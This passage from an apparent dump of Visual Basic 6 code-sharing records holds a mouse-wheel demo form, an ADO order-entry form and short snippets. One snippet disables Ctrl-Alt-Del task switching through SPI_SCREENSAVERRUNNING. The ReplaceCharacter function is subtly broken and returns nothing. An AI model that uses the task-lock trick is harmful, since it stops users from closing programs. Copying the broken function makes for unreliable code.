WM_MOUSEHOVER As Integer = &H2A1\nConst WM_MOUSELEAVE As Integer = &H2A3\nConst WM_KEYDOWN As Integer = &H100\nConst WM_KEYUP As Integer = &H101\nConst WM_CHAR As Integer = &H102\n'=================================\n' Constants Mask for MouseWheelKey\n'=================================\nConst MK_LBUTTON As Integer = &H1\nConst MK_RBUTTON As Integer = &H2\nConst MK_MBUTTON As Integer = &H10\nConst MK_SHIFT As Integer = &H4\nConst MK_CONTROL As Integer = &H8\n\nPrivate Type POINTAPI\n X As Long\n Y As Long\nEnd Type\nPrivate Type MSG\n hwnd As Long\n message As Long\n wParam As Long\n lParam As Long\n time As Long\n pt As POINTAPI\nEnd Type\nPrivate Declare Function GetMessage Lib \"user32\" Alias \"GetMessageA\" ( _\n lpMsg As MSG, _\n ByVal hwnd As Long, _\n ByVal wMsgFilterMin As Long, _\n ByVal wMsgFilterMax As Long _\n) As Long\nPrivate Declare Function DispatchMessage Lib \"user32\" Alias \"DispatchMessageA\" ( _\n lpMsg As MSG _\n) As Long\nPrivate Declare Function TranslateMessage Lib \"user32\" ( _\n lpMsg As MSG _\n) As Long\n'==================================================\n' Fonction used for mouse tracking (Win 98)\n'==================================================\nPrivate Declare Function TRACKMOUSEEVENT Lib \"user32\" Alias \"TrackMouseEvent\" ( _\n lpEventTrack As TRACKMOUSEEVENT _\n) As Boolean\nPrivate Type TRACKMOUSEEVENT\n cbSize As Long\n dwFlags As Long\n hwndTrack As Long\n dwHoverTime As Long\nEnd Type\n '======================================\n ' Constants for TrackMouseEvent type\n '======================================\n Const TME_HOVER As Long = &H1\n Const TME_LEAVE As Long = &H2\n Const TME_QUERY As Long = &H40000000\n Const TME_CANCEL As Long = &H80000000\n \n Const HOVER_DEFAULT As Long = &HFFFFFFFF\n\n'==================================================\n' Fonction used for mouse tracking (old school)\n'==================================================\nPrivate Declare Function GetCursorPos Lib \"user32\" ( _\n lpPoint As POINTAPI _\n) As Long\n \nPrivate Declare Function WindowFromPoint Lib \"user32\" ( _\n ByVal X As Long, _\n ByVal Y As Long _\n) As Long\n \nPrivate Declare Function GetClassName Lib \"user32\" Alias \"GetClassNameA\" ( _\n ByVal hwnd As Long, _\n ByVal lpClassName As String, _\n ByVal nMaxCount As Long _\n) As Long\n'=================================\n' Variables for wheel tracking\n'=================================\nDim m_blnWheelPresent As Boolean ' true if mouse Wheel present\nDim m_blnWheelTracking As Boolean ' true while pumping messages\nDim m_blnKeepSpinnig As Boolean ' true = mouse still active away from source\nDim m_tMSG As MSG ' messages structure\n\n'==================================\n' Constants for sample application\n'==================================\nConst m_sCurOffset As Single = 112 ' middle of cursor picture is 7 pixels away from side\nConst m_WheelForward As Long = -1 ' Wheeling 'Down' like to walk down a window = increase value\nConst m_WheelBackward As Long = 1 ' Wheeling 'Down' = decrease value\n\n'==================================\n' Variables for sample application\n'==================================\n 'picture section\n Dim m_sScaleMultiplier_H As Single\n Dim m_sScaleMax_H As Single\n Dim m_sScaleMin_H As Single\n Dim m_sScaleValue_H As Single\n \n Dim m_sScaleMultiplier_V As Single\n Dim m_sScaleMax_V As Single\n Dim m_sScaleMin_V As Single\n Dim m_sScaleValue_V As Single\n \n 'text section\n Dim m_lWalkWay As Long ' Will be set to your choice m_WheelForward or m_WheelForward in initialise proc\n Dim m_lMutiplier_Small As Long\n Dim m_lMutiplier_Large As Long\n Dim m_lSampleValue As Long\nSub WatchForWheel(hClient As Long, Optional blnWheelAround As Boolean)\nDim i As Integer\nDim lResult As Long\nDim bResult As Boolean\nDim tTrackMouse As TRACKMOUSEEVENT\nDim tMouseCords As POINTAPI\nDim lX As Long, lY As Long ' mouse coordinates\nDim lCurrentHwnd As Long '\nDim iDirection As Integer\nDim iKeys As Integer\nIf IsMissing(blnWheelAround) Then\n m_blnKeepSpinnig = False\nElse\n m_blnKeepSpinnig = blnWheelAround\nEnd If\n\nm_blnWheelTracking = True\n'With tTrackMouse\n' .cbSize = ' sizeof tTrackMouse : how to calculate that ?\n' .dwFlags = TME_LEAVE\n' .dwHoverTime = HOVER_DEFAULT\n' .hwndTrack = hClient\n'End With\n'bResult = TRACKMOUSEEVENT(tTrackMouse)\n '********************************************************\n ' Message pump:\n ' gets all messages and checks for MouseWheel event\n '********************************************************\n Do While m_blnWheelTracking\n \n lResult = GetCursorPos(tMouseCords) ' Get current mouse location\n lX = tMouseCords.X\n lY = tMouseCords.Y\n \n lCurrentHwnd = WindowFromPoint(lX, lY) ' get the window under the mouse from mouse coordinates\n \n If lCurrentHwnd <> hClient Then\n If m_blnKeepSpinnig = False Then ' Don't stop if true\n m_blnWheelTracking = False ' We are off the client window\n Exit Do ' so we stop tracking\n End If\n End If\n \n lResult = GetMessage(m_tMSG, Me.hwnd, 0, 0)\n \n lResult = TranslateMessage(m_tMSG)\n '=======================================\n ' on renvoie le message dans le circuit\n ' pour la gestion des ├⌐v├⌐nements\n '=======================================\n lResult = DispatchMessage(m_tMSG)\n DoEvents\n \n Select Case m_tMSG.message\n Case WM_MOUSEWHEEL\n '===============================================================\n ' Message is 'Wheel Rolling'\n '===============================================================\n \n Call WheelAction(hClient, m_tMSG.wParam)\n \n \n Case WM_MOUSELEAVE\n '======================================================\n ' Mouse Leave generated by TRACKMOUSEEVENT\n ' when mouse leaves client if TRACKMOUSEEVENT structure\n ' well filled (not here...)\n '======================================================\n m_blnWheelTracking = False\n \n End Select\n \n DoEvents\n Loop\n\nEnd Sub\nSub WheelAction(hClient As Long, wParam)\nDim iKey As Integer\nDim iDir As Integer\n'===============================================================\n' We get wheel direction (left half of wParams)\n' and Keys pressed while 'wheeling' (right half of wParams)\n'===============================================================\niKey = CInt(\"&H\" & (Right(Hex(wParam), 4)))\niDir = Sgn(wParam \\ 32767)\n \n'========================================================\n' Generic code to get mouse buttons and keys information\n'========================================================\n'If iKey And MK_LBUTTON Then - Left Button code -\n'If iKey And MK_RBUTTON Then - Right Button code -\n'If iKey And MK_MBUTTON Then - Middle Button code -\n'If iKey And MK_SHIFT Then - ShiftKey code -\n'If iKey And MK_CONTROL Then - ControlKey code -\nSelect Case hClient\n Case Picture1.hwnd\n '========================================================\n ' CtrlKey used to change scroll to be modified:\n ' on => Scroll_H off => Scroll_V\n '========================================================\n \n If iKey And MK_CONTROL Then\n '============================\n ' ShiftKey used as multiplier\n '============================\n If iKey And MK_SHIFT Then\n m_sScaleValue_H = m_sScaleValue_H + iDir * m_sScaleMultiplier_H\n Else\n m_sScaleValue_H = m_sScaleValue_H + iDir\n End If\n \n '============================\n ' Check limits\n '============================\n If m_sScaleValue_H <= m_sScaleMin_H Then m_sScaleValue_H = m_sScaleMin_H\n If m_sScaleValue_H >= m_sScaleMax_H Then m_sScaleValue_H = m_sScaleMax_H\n \n Picture3.Left = Picture1.Left + Picture1.Width - m_sCurOffset - m_sScaleValue_H * (Picture1.Width / m_sScaleMax_H)\n Else\n '============================\n ' CtrlKey used as multiplier\n '============================\n If iKey And MK_SHIFT Then\n m_sScaleValue_V = m_sScaleValue_V + iDir * m_sScaleMultiplier_V\n Else\n m_sScaleValue_V = m_sScaleValue_V + iDir\n End If\n \n '============================\n ' Check limits\n '============================\n If m_sScaleValue_V <= m_sScaleMin_V Then m_sScaleValue_V = m_sScaleMin_V\n If m_sScaleValue_V >= m_sScaleMax_V Then m_sScaleValue_V = m_sScaleMax_V\n \n Picture2.Top = Picture1.Top + Picture1.Height - m_sCurOffset - m_sScaleValue_V * (Picture1.Height / m_sScaleMax_V)\n End If\n \n Case Text1.hwnd\n '================================\n ' CtrlKey used as 100x multiplier\n ' ShiftKey used as 10x multiplier\n '================================\n If iKey And MK_CONTROL Then\n m_lSampleValue = m_lSampleValue + m_lWalkWay * iDir * m_lMutiplier_Large\n \n ElseIf iKey And MK_SHIFT Then\n m_lSampleValue = m_lSampleValue + m_lWalkWay * iDir * m_lMutiplier_Small\n \n Else\n m_lSampleValue = m_lSampleValue + m_lWalkWay * iDir\n \n End If\n \n Text1 = Trim(Str(m_lSampleValue))\n \n \n' Case Your_Next_Hwnd\n '\n '\n' Case Your_Last_Hwnd\n \nEnd Select\n\nEnd Sub\nSub initialize()\nDim i As Integer\n'=================================\n' Mouse section : check for wheel\n'=================================\n m_blnWheelPresent = GetSystemMetrics(SM_MOUSEWHEELPRESENT)\n\n'********************************************\n' Begin Custom section\n'\n'********************************************\n'================================================\n' Drawing cursor shapes in picture2 and picture3\n'================================================\nPicture1.Move 240, 240, 3015, 1935\nPicture1.ScaleMode = vbPixels\nPicture1.AutoRedraw = True\nFor i = 255 To 0 Step -1\n Picture1.Line ((Picture1.ScaleWidth / 255) * i, (Picture1.ScaleHeight / 255) * i)- _\n (Picture1.ScaleWidth, Picture1.ScaleHeight), _\n RGB(i, i / 2, i / 2), B\nNext i\n\nWith Picture2 ' Right cursor\n .AutoRedraw = True\n .Appearance = 0\n .BorderStyle = 0\n .BackColor = &H8000000F\n .ScaleMode = vbPixels\n .Height = 225\n .Left = Picture1.Left + Picture1.Width\n .Width = 225\nEnd With\nWith Picture3 ' Bottom cursor\n .AutoRedraw = True\n .Appearance = 0\n .BorderStyle = 0\n .BackColor = &H8000000F\n .ScaleMode = vbPixels\n .Height = 225\n .Top = Picture1.Top + Picture1.Height\n .Width = 225\nEnd With\n\nFor i = 0 To 7\n Picture2.Line (i, 7 - i)-(i, 7 + i)\n Picture3.Line (7 - i, i)-(7 + i, i)\nNext i\n\n'================================\n' Picture1 PseudoScrolls section\n'================================\n \n m_sScaleMultiplier_H = 10\n m_sScaleMax_H = 150\n m_sScaleMin_H = 0\n m_sScaleValue_H = m_sScaleMax_H / 2\n \n m_sScaleMultiplier_V = 10\n m_sScaleMax_V = 100\n m_sScaleMin_V = 0\n m_sScaleValue_V = m_sScaleMax_V / 2\n Picture2.Top = Picture1.Top + Picture1.Height - m_sCurOffset - m_sScaleValue_V * (Picture1.Height / m_sScaleMax_V)\n Picture3.Left = Picture1.Left + Picture1.Width - m_sCurOffset - m_sScaleValue_H * (Picture1.Width / m_sScaleMax_H)\n'=========================\n' Text1 section\n'=========================\n m_lWalkWay = m_WheelForward\n m_lMutiplier_Small = 10\n m_lMutiplier_Large = 100\n m_lSampleValue = 100\n \n Text1.Move 3720, 240\n Text1 = Trim(Str(m_lSampleValue))\n\n'=========================\n' ToolTipText section\n'=========================\nPicture1.ToolTipText = \"Ctrl = Scroll Horizontal Shift = 10x speed \"\nText1.ToolTipText = \"Click to enable Ctrl = 100x Shift = 10x Return to validate Keyboad value entry\"\nEnd Sub\nPrivate Sub Form_Click()\nm_blnKeepSpinnig = False\nDoEvents\nEnd Sub\nPrivate Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nm_blnKeepSpinnig = False\nDoEvents\nIf m_blnWheelPresent Then\n If Not m_blnWheelTracking Then Call WatchForWheel(Picture1.hwnd)\nEnd If\nEnd Sub\nPrivate Sub Text1_Click()\n'**********************************************************\n' if blnWheelArround is set to 'True', we can\n' spin value even mouse away from text box\n' but it seems to be difficult to use any other\n' application (in fact we have to 'Ctrl-Alt-Del' VB to stop\n' if we try to activate other apps)\n'\n' - if U know how to make it safe, please let me know -\n'\n'**********************************************************\nIf m_blnWheelPresent Then\n If Not m_blnWheelTracking Then Call WatchForWheel(Text1.hwnd, False)\nEnd If\nEnd Sub\nPrivate Sub Text1_KeyPress(KeyAscii As Integer)\n'=================================================\n' Kills \"No Default Key\" Error beep when\n' Keying 'Return' to validate new keyboard value\n'=================================================\nIf KeyAscii = vbKeyReturn Then KeyAscii = 0\nEnd Sub\nPrivate Sub Text1_KeyUp(KeyCode As Integer, Shift As Integer)\n If KeyCode = vbKeyReturn Then\n On Error Resume Next\n m_lSampleValue = CLng(Text1.Text)\n End If\nEnd Sub\nPrivate Sub Text1_LostFocus()\nm_blnKeepSpinnig = False\nDoEvents\nEnd Sub\nPrivate Sub Form_Load()\ninitialize\nEnd Sub\nPrivate Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)\nm_blnKeepSpinnig = False\nm_blnWheelTracking = False\n DoEvents\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\nm_blnKeepSpinnig = False\nm_blnWheelTracking = False\n DoEvents\nEnd Sub"},{"WorldId":1,"id":5755,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7573,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7923,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5774,"LineNumber":1,"line":"Sub Enable_TaskView()\n Dim eTask As Integer\n Dim junk As Boolean\n \n eTask = SystemParametersInfo(SPI_SCREENSAVERRUNNING, False, junk, 0)\nEnd Sub\nSub Disable_TaskView()\n Dim dTask As Integer\n Dim junk As Boolean\n \n dTask = SystemParametersInfo(SPI_SCREENSAVERRUNNING, True, junk, 0)\nEnd Sub"},{"WorldId":1,"id":5980,"LineNumber":1,"line":"Function ReplaceCharacter(stringToChange$, charToReplace$, replaceWith$) As String\n'Replaces a specified character in a string with another\n'character that you specify\n Dim ln, n As Long\n Dim NextLetter As String\n Dim FinalString As String\n Dim txt, char, rep As String\n txt = stringToChange$ 'store all arguments in\n char = charToReplace$ 'new variables\n rep = replaceWith$\n \n ln = Len(txt)\n \n For n = 1 To ln Step 1\n NextLetter = Mid(txt, n, 1)\n \n If NextLetter = char Then\n NextLetter = rep\n End If\n \n FinalString = FinalString & NextLetter\n Next n\n \n Replace_Character = FinalString\n \nEnd Function\n"},{"WorldId":1,"id":6100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9292,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9338,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":9025,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5794,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":5814,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7285,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":8771,"LineNumber":1,"line":"VERSION 5.00\nObject = \"{CDE57A40-8B86-11D0-B3C6-00A0C90AEA82}#1.0#0\"; \"MSDATGRD.OCX\"\nBegin VB.Form ADOHeaderDetail \n BorderStyle = 1 'Fixed Single\n Caption = \"Order Entry - ADO Header-Detail Sample by Walter A. Narvasa\"\n ClientHeight = 6495\n ClientLeft = 1095\n ClientTop = 390\n ClientWidth = 9735\n KeyPreview = -1 'True\n LinkTopic = \"Form1\"\n MaxButton = 0 'False\n MinButton = 0 'False\n ScaleHeight = 6495\n ScaleWidth = 9735\n StartUpPosition = 2 'CenterScreen\n Begin VB.PictureBox picButtons \n Align = 2 'Align Bottom\n Appearance = 0 'Flat\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 300\n Left = 0\n ScaleHeight = 300\n ScaleWidth = 9735\n TabIndex = 34\n Top = 5895\n Width = 9735\n Begin VB.CommandButton cmdCancel \n Caption = \"&Undo\"\n Height = 300\n Left = 3600\n TabIndex = 41\n Top = 0\n Visible = 0 'False\n Width = 1095\n End\n Begin VB.CommandButton cmdClose \n Caption = \"E&xit\"\n Height = 300\n Left = 4800\n TabIndex = 39\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdRefresh \n Caption = \"&Refresh\"\n Height = 300\n Left = 3600\n TabIndex = 38\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdAdd \n Caption = \"&New\"\n Height = 300\n Left = 0\n TabIndex = 35\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdEdit \n Caption = \"&Edit\"\n Height = 300\n Left = 1200\n TabIndex = 36\n Top = 0\n Width = 1095\n End\n Begin VB.CommandButton cmdUpdate \n Caption = \"&Save\"\n Height = 300\n Left = 2400\n TabIndex = 40\n Top = 0\n Visible = 0 'False\n Width = 1095\n End\n Begin VB.CommandButton cmdDelete \n Caption = \"&Delete\"\n Height = 300\n Left = 2400\n TabIndex = 37\n Top = 0\n Width = 1095\n End\n End\n Begin VB.PictureBox picStatBox \n Align = 2 'Align Bottom\n Appearance = 0 'Flat\n BorderStyle = 0 'None\n ForeColor = &H80000008&\n Height = 300\n Left = 0\n ScaleHeight = 300\n ScaleWidth = 9735\n TabIndex = 28\n Top = 6195\n Width = 9735\n Begin VB.CommandButton cmdLast \n Height = 300\n Left = 4545\n Picture = \"ADOHeaderDetail.frx\":0000\n Style = 1 'Graphical\n TabIndex = 32\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.CommandButton cmdNext \n Height = 300\n Left = 4200\n Picture = \"ADOHeaderDetail.frx\":0342\n Style = 1 'Graphical\n TabIndex = 31\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.CommandButton cmdPrevious \n Height = 300\n Left = 345\n Picture = \"ADOHeaderDetail.frx\":0684\n Style = 1 'Graphical\n TabIndex = 30\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.CommandButton cmdFirst \n Height = 300\n Left = 0\n Picture = \"ADOHeaderDetail.frx\":09C6\n Style = 1 'Graphical\n TabIndex = 29\n Top = 0\n UseMaskColor = -1 'True\n Width = 345\n End\n Begin VB.Label lblStatus \n BackColor = &H00FFFFFF&\n BorderStyle = 1 'Fixed Single\n Height = 285\n Left = 690\n TabIndex = 33\n Top = 0\n Width = 3360\n End\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipVia\"\n Height = 285\n Index = 13\n Left = 5640\n TabIndex = 27\n Top = 2415\n Width = 3375\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipRegion\"\n Height = 285\n Index = 12\n Left = 5640\n TabIndex = 25\n Top = 2100\n Width = 3375\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipPostalCode\"\n Height = 285\n Index = 11\n Left = 5640\n TabIndex = 23\n Top = 1785\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"ShippedDate\"\n Height = 285\n Index = 10\n Left = 5640\n TabIndex = 21\n Top = 1455\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipName\"\n Height = 285\n Index = 9\n Left = 5640\n TabIndex = 19\n Top = 1140\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipCountry\"\n Height = 285\n Index = 8\n Left = 5640\n TabIndex = 17\n Top = 825\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipCity\"\n Height = 285\n Index = 7\n Left = 5640\n TabIndex = 15\n Top = 495\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"ShipAddress\"\n Height = 285\n Index = 6\n Left = 5640\n TabIndex = 13\n Top = 180\n Width = 3855\n End\n Begin VB.TextBox txtFields \n DataField = \"RequiredDate\"\n Height = 285\n Index = 5\n Left = 2040\n TabIndex = 11\n Top = 1785\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"Freight\"\n Height = 285\n Index = 4\n Left = 2040\n TabIndex = 9\n Top = 1455\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"CustomerID\"\n Height = 285\n Index = 3\n Left = 2040\n TabIndex = 7\n Top = 1140\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"EmployeeID\"\n Height = 285\n Index = 2\n Left = 2040\n TabIndex = 5\n Top = 825\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"OrderDate\"\n Height = 285\n Index = 1\n Left = 2040\n TabIndex = 3\n Top = 495\n Width = 1455\n End\n Begin VB.TextBox txtFields \n DataField = \"OrderID\"\n Height = 285\n Index = 0\n Left = 2040\n TabIndex = 1\n Top = 180\n Width = 1455\n End\n Begin MSDataGridLib.DataGrid grdDataGrid \n Height = 2745\n Left = 120\n TabIndex = 42\n Top = 3000\n Width = 9360\n _ExtentX = 16510\n _ExtentY = 4842\n _Version = 393216\n AllowUpdate = 0 'False\n HeadLines = 1\n RowHeight = 15\n BeginProperty HeadFont {0BE35203-8F91-11CE-9DE3-00AA004BB851} \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n BeginProperty Font {0BE35203-8F91-11CE-9DE3-00AA004BB851} \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 400\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n ColumnCount = 2\n BeginProperty Column00 \n DataField = \"\"\n Caption = \"\"\n BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} \n Type = 0\n Format = \"\"\n HaveTrueFalseNull= 0\n FirstDayOfWeek = 0\n FirstWeekOfYear = 0\n LCID = 1033\n SubFormatType = 0\n EndProperty\n EndProperty\n BeginProperty Column01 \n DataField = \"\"\n Caption = \"\"\n BeginProperty DataFormat {6D835690-900B-11D0-9484-00A0C91110ED} \n Type = 0\n Format = \"\"\n HaveTrueFalseNull= 0\n FirstDayOfWeek = 0\n FirstWeekOfYear = 0\n LCID = 1033\n SubFormatType = 0\n EndProperty\n EndProperty\n SplitCount = 1\n BeginProperty Split0 \n BeginProperty Column00 \n EndProperty\n BeginProperty Column01 \n EndProperty\n EndProperty\n End\n Begin VB.Label lblLabels \n Caption = \"Detail Information:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 14\n Left = 120\n TabIndex = 43\n Top = 2760\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipVia:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 13\n Left = 3720\n TabIndex = 26\n Top = 2415\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipRegion:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 12\n Left = 3720\n TabIndex = 24\n Top = 2100\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipPostalCode:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 11\n Left = 3720\n TabIndex = 22\n Top = 1785\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShippedDate:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 10\n Left = 3720\n TabIndex = 20\n Top = 1455\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipName:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 9\n Left = 3720\n TabIndex = 18\n Top = 1140\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipCountry:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 8\n Left = 3720\n TabIndex = 16\n Top = 825\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipCity:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 7\n Left = 3720\n TabIndex = 14\n Top = 495\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"ShipAddress:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 6\n Left = 3720\n TabIndex = 12\n Top = 180\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"RequiredDate:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 5\n Left = 120\n TabIndex = 10\n Top = 1785\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"Freight:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 4\n Left = 120\n TabIndex = 8\n Top = 1455\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"CustomerID:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 3\n Left = 120\n TabIndex = 6\n Top = 1140\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"EmployeeID:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 2\n Left = 120\n TabIndex = 4\n Top = 825\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"OrderDate:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 1\n Left = 120\n TabIndex = 2\n Top = 495\n Width = 1815\n End\n Begin VB.Label lblLabels \n Alignment = 1 'Right Justify\n Caption = \"OrderID:\"\n BeginProperty Font \n Name = \"MS Sans Serif\"\n Size = 8.25\n Charset = 0\n Weight = 700\n Underline = 0 'False\n Italic = 0 'False\n Strikethrough = 0 'False\n EndProperty\n Height = 255\n Index = 0\n Left = 120\n TabIndex = 0\n Top = 180\n Width = 1815\n End\nEnd\nAttribute VB_Name = \"ADOHeaderDetail\"\nAttribute VB_GlobalNameSpace = False\nAttribute VB_Creatable = False\nAttribute VB_PredeclaredId = True\nAttribute VB_Exposed = False\n'Program Sample by: Walter A. Narvasa\n'Country: Philippines\n'Experience: 6 years in Database Programming\n'Email: walter@wancom.8k.com\n'Website: wancom.8k.com\nDim WithEvents adoPrimaryRS As Recordset\nAttribute adoPrimaryRS.VB_VarHelpID = -1\nDim mbChangedByCode As Boolean\nDim mvBookMark As Variant\nDim mbEditFlag As Boolean\nDim mbAddNewFlag As Boolean\nDim mbDataChanged As Boolean\nPrivate Sub Form_Load()\n Dim db As Connection\n Set db = New Connection\n db.CursorLocation = adUseClient\n db.Open \"PROVIDER=MSDataShape;Data PROVIDER=Microsoft.Jet.OLEDB.3.51;Data Source=D:\\Program Language\\Microsoft Visual Studio\\VB98\\NWIND.MDB;\"\n Set adoPrimaryRS = New Recordset\n adoPrimaryRS.Open \"SHAPE {select OrderID,OrderDate,EmployeeID,CustomerID,Freight,RequiredDate,ShipAddress,ShipCity,ShipCountry,ShipName,ShippedDate,ShipPostalCode,ShipRegion,ShipVia from Orders Order by OrderID} AS ParentCMD APPEND ({select OrderID,ProductID,Quantity,UnitPrice,Discount from [Order Details] Order by ProductID } AS ChildCMD RELATE OrderID TO OrderID) AS ChildCMD\", db, adOpenStatic, adLockOptimistic\n Dim oText As TextBox\n 'Bind the text boxes to the data provider\n For Each oText In Me.txtFields\n Set oText.DataSource = adoPrimaryRS\n Next\n Set grdDataGrid.DataSource = adoPrimaryRS(\"ChildCMD\").UnderlyingValue\n mbDataChanged = False\nEnd Sub\nPrivate Sub Form_Resize()\n On Error Resume Next\n 'This will resize the grid when the form is resized\n grdDataGrid.Width = Me.ScaleWidth\n grdDataGrid.Height = Me.ScaleHeight - grdDataGrid.Top - 30 - picButtons.Height - picStatBox.Height\n lblStatus.Width = Me.Width - 1500\n cmdNext.Left = lblStatus.Width + 700\n cmdLast.Left = cmdNext.Left + 340\nEnd Sub\nPrivate Sub Form_KeyDown(KeyCode As Integer, Shift As Integer)\n If mbEditFlag Or mbAddNewFlag Then Exit Sub\n Select Case KeyCode\n Case vbKeyEscape\n cmdClose_Click\n Case vbKeyEnd\n cmdLast_Click\n Case vbKeyHome\n cmdFirst_Click\n Case vbKeyUp, vbKeyPageUp\n If Shift = vbCtrlMask Then\n cmdFirst_Click\n Else\n cmdPrevious_Click\n End If\n Case vbKeyDown, vbKeyPageDown\n If Shift = vbCtrlMask Then\n cmdLast_Click\n Else\n cmdNext_Click\n End If\n End Select\nEnd Sub\nPrivate Sub Form_Unload(Cancel As Integer)\n Screen.MousePointer = vbDefault\nEnd Sub\nPrivate Sub adoPrimaryRS_MoveComplete(ByVal 